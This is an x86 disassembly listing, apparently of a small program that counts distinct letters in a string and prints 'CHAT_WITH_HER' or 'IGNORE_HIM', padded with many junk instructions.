mov dword [ebp - 0x2c], 0x7f6a191a
mov dword [ebp - 4], 0x27
cmp dword [ebp - 0x24], 0x23c1
jge 0x100210a1
mov edx, str.scc_eyvykk_sgujb_hlvmw_kxlel_qtwwrnvkg_sazbug_yftljoep_xdsrzyrci_dmlbmerg_wlqfnk_dxlcuskwr_bqr_obvzjceqx
mov ecx, 0x10071a98
call fcn.10006c80
jmp 0x100210a1
mov dword [ebp - 4], edi
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], ebx
jmp 0x100210c1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4e0], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100210b0
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xe8]
push eax
push ecx
push ecx
push 0x7eee
push 0x12fa
lea edx, [ebp - 0x134]
mov cl, 1
call fcn.1001dc59
mov dword [ebp - 0x40], 0x1712
add esp, 0x20
cmp dword [ebp - 0x40], 0x8ff
jge 0x100211d9
mov dword [ebp - 0x270], 0xf
mov dword [ebp - 0x274], ebx
mov byte [ebp - 0x284], bl
lea edx, [ebp - 0x284]
mov dword [ebp - 4], 0x29
mov ecx, 0x10071bb8
call fcn.1001aff9
push 0x64
lea eax, [ebp - 0x5a8]
mov dword [ebp - 0x5ac], ebx
push ebx
push eax
call fcn.100400b0
add esp, 0xc
mov ecx, ebx
cmp dword [ebp - 0x274], 0
jbe 0x1002118b
cmp dword [ebp - 0x270], 0x10
lea eax, [ebp - 0x284]
cmovae eax, dword [ebp - 0x284]
movsx eax, byte [eax + ecx]
inc dword [ebp + eax*4 - 0x730]
inc ecx
cmp ecx, dword [ebp - 0x274]
jb 0x10021163
mov eax, ebx
mov ecx, ebx
cmp dword [ebp + ecx*4 - 0x5ac], ebx
je 0x10021199
inc eax
inc ecx
cmp ecx, 0x1a
jl 0x1002118f
and eax, 0x80000001
jns 0x100211ab
dec eax
or eax, 0xfffffffe
inc eax
mov ecx, 0x10071a98
mov edx, str.IGNORE_HIM_
jne 0x100211bc
mov edx, str.CHAT_WITH_HER_
call fcn.10006c80
push eax
call fcn.1001adc4
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x284]
mov dword [ebp - 4], edi
call fcn.10004e55
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0xe8]
imul eax, dword [ebp - 0x118], 0x9eb
test eax, eax
je 0x1002120f
cmp dword [ebp - 0xe8], ebx
je 0x1002120f
xor edx, edx
inc edx
jmp 0x10021211
mov edx, ebx
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xf0]
sete dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x24]
setl cl
xor edx, edx
test ecx, ecx
sets dl
add eax, edx
mov dword [ebp - 0xf0], eax
movzx eax, byte [ebp - 0x6c]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10021791
movzx eax, byte [ebp + esi - 0x6c]
mov dword [ebp - 0x38], eax
inc eax
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x68], 0xfffffffe
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x58], 0xfffc
mov dword [ebp - 0x214], 0x3adcfec7
mov dword [ebp - 0x198], 0xdc0978c7
mov dword [ebp - 0x3b0], 0xd9aeb8ef
mov dword [ebp - 0x40c], 0xfffffffe
mov dword [ebp - 0x18], ebx
jmp 0x100212bc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1a4], 0x6436
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100212ab
mov dword [ebp - 0x68], ebx
cmp dword [ebp - 0x68], 0xffffffea
jle 0x10021485
mov dword [ebp - 0x34], 0x29bf39
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x2c], 0x90f9
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x68], eax
jg 0x100212fe
push ecx
push 0x5fe3
push ecx
push 0x261b
push 0x33f9
lea eax, [ebp - 0x68]
mov edx, 0x1c16
push eax
push ecx
push 0x7aba
push ecx
push 1
push ecx
call fcn.1001df86
mov eax, dword [ebp - 0x38]
add esp, 0x2c
mov dword [ebp - 0x70], 0xfffffffe
dec eax
mov dword [ebp - 0x24], 9
add esi, eax
mov dword [ebp - 0x5c], 0xfffc
mov dword [ebp - 0x1a8], 0x3adcfec7
mov dword [ebp - 0x224], 0xdc0978c7
mov dword [ebp - 0x3c0], 0xd9aeb8ef
mov dword [ebp - 0x3d4], 0xfffffffe
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], ebx
jmp 0x1002150d
movzx edx, byte [ebp + esi - 0x6b]
mov eax, esi
sub eax, dword [ebp - 0x100]
push 2
movzx eax, byte [ebp + eax - 0x6e]
movzx eax, word [ebp + eax*2 - 0xd4]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x6c]
mov word [ebp + eax*2 - 0xd4], cx
lea ecx, [ebp - 0x3bc]
mov dword [ebp - 0x38], 0xd6f2
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], 0x46158d32
mov dword [ebp - 0x38], 0xad3b3152
mov dword [ebp - 0x38], 0x70a77c87
call fcn.100048ce
lea eax, [ebp - 0xac]
mov dword [ebp - 4], 0x2c
push eax
push 1
push 0x65e1
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x1b8], 9
push eax
push 1
mov edx, 0x691c
mov cl, 1
call fcn.1001e10e
mov dword [ebp - 0x18], 0x5503
add esp, 0x14
cmp dword [ebp - 0x18], 0x561c
jle 0x1002189b
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov dword [ebp - 0x24], 0x604c
mov dword [ebp - 0x28], ecx
mov esi, ebx
mov eax, ecx
mov ecx, esi
sar eax, cl
lea ecx, [ebp - 0x4d4]
cdq
push edx
push eax
call fcn.10001a95
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021862
mov eax, dword [eax]
push eax
call fcn.1003fffd
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d4]
call fcn.10004e55
mov ecx, dword [ebp - 0x28]
inc esi
cmp esi, 0x558d
jl 0x10021844
mov eax, dword [ebp - 0x2c]
add ecx, eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x28], ecx
jne 0x10021842
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x380b
jl 0x10021836
mov dword [ebp - 0xac], ebx
jmp 0x100218ba
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x494], 0xf8c7
inc dword [ebp - 0xac]
cmp dword [ebp - 0xac], 2
jl 0x100218a3
cmp dword [ebp - 0x18], 0x53d7
jge 0x100218d7
mov word [ebp - 0xd2], ax
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x18], 5
jmp 0x10021a1c
push 1
push 0x650c
lea eax, [ebp - 0x91]
mov byte [ebp - 0x91], bl
push eax
push 1
push 0x2aad
mov edx, 0x75ef
mov cl, 1
call fcn.1001e31d
mov byte [ebp - 0x2d], bl
add esp, 0x14
cmp byte [ebp - 0x2d], 0
je 0x10021a19
push 0x1261
push 0x2495
push 0x128c
push 1
push 1
mov edx, 0x6248
xor cl, cl
call fcn.1001ea6d
add esp, 0x14
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe6
je 0x100219c4
xor eax, eax
mov dword [ebp - 0x2d8], 7
mov word [ebp - 0x2ec], ax
lea ecx, [ebp - 0x2ec]
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x2dc], ebx
push eax
call fcn.10004e99
cmp dword [ebp - 0x2d8], 8
lea eax, [ebp - 0x2ec]
push ebx
cmovae eax, dword [ebp - 0x2ec]
lea ecx, [ebp - 0x2ec]
push 1
movzx eax, word [eax]
mov dword [ebp - 0x34], eax
call fcn.10004f21
mov esi, ebx
push 2
lea ecx, [ebp - 0x1c4]
call fcn.100048ce
push 1
push 0x63ad
push 0x4996
lea eax, [ebp - 0x1c4]
mov dword [ebp - 4], 0x31
push ebx
push eax
lea edx, [ebp - 0x3c4]
mov dword [ebp - 0x22c], 0x142b9193
mov cl, 1
call fcn.1001e31d
mov eax, dword [ebp - 0x1c4]
add esp, 0x14
mov dword [eax], ebx
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x18], ebx
jmp 0x10021add
push 1
mov ecx, 0x183a
call fcn.1001e65d
inc dword [ebp - 0x18]
pop ecx
cmp dword [ebp - 0x18], 0x11
jge 0x10021acd
mov eax, dword [ebp - 0x1c4]
dec dword [eax]
cmp dword [eax], 0xffffffee
jne 0x10021ac1
push 1
push ecx
lea eax, [ebp - 0x22c]
push eax
push ecx
lea edx, [ebp - 0x1c4]
call fcn.1001e814
add esp, 0x10
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x1c4]
call fcn.10004951
xor eax, eax
mov word [ebp + esi*2 - 0xd4], ax
inc esi
cmp esi, 2
jb 0x10021a77
mov ecx, dword [ebp - 0xe4]
shr ecx, 1
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0xd0]
inc eax
cmp eax, ecx
jae 0x10022524
push 2
lea ecx, [ebp - 0x1d4]
call fcn.100048ce
mov dword [ebp - 4], 0x32
lea ecx, [ebp - 0x1d4]
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
push ecx
mov dword [ebp - 0x24], 0xb6046e74
push eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x4c]
push ecx
push eax
call fcn.1001e69a
xor ecx, ecx
mov dword [ebp - 0x4c], ebx
add esp, 0x10
inc ecx
jmp 0x10021b9d
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x128], 0xfc36fe5a
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x10021b8c
mov dword [ebp - 0x4c], ebx
jmp 0x10021bb8
mov ecx, dword [ebp - 0xc]
mov eax, 0x1062bae0
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret